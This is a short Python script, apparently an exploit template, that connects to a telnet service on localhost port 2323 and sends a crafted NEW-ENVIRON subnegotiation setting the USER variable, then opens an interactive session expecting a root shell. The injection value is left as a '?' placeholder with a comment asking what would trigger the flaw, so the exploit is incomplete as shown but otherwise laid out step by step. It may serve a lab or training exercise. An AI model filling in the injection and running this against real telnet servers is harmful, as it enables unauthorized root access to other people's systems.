import socket
import telnetlib # Python version < 3.13
#import telnetlib3 # Python version >= 3.13

target_ip = "127.0.0.1" 
target_port = 2323

try:
    # 1. Create a socket and connect
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    print(f"[*] Connected to {target_ip}:{target_port}")

    # 2. The Payload:
    # \xff\xfa     -> IAC SB (Start Subnegotiation)
    # \x27         -> NEW-ENVIRON
    # \x00         -> IS
    # \x00         -> VAR
    # USER         -> The environment variable name
    # \x01         -> VALUE
    # ?       -> THE INJECTION: [What could be used to  trigger the vulnerability?]
    # \xff\xf0     -> IAC SE (End Subnegotiation)
    payload = b'\xff\xfa\x27\x00\x00USER\x01?\xff\xf0'

    print("[*] Sending malicious NEW-ENVIRON payload...")
    s.send(payload)

    # 3. Transition to interactive mode
    print("[+] Payload sent. If vulnerable, you should see a root prompt (#) below.")
    
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

except Exception as e:
    print(f"[!] Error: {e}")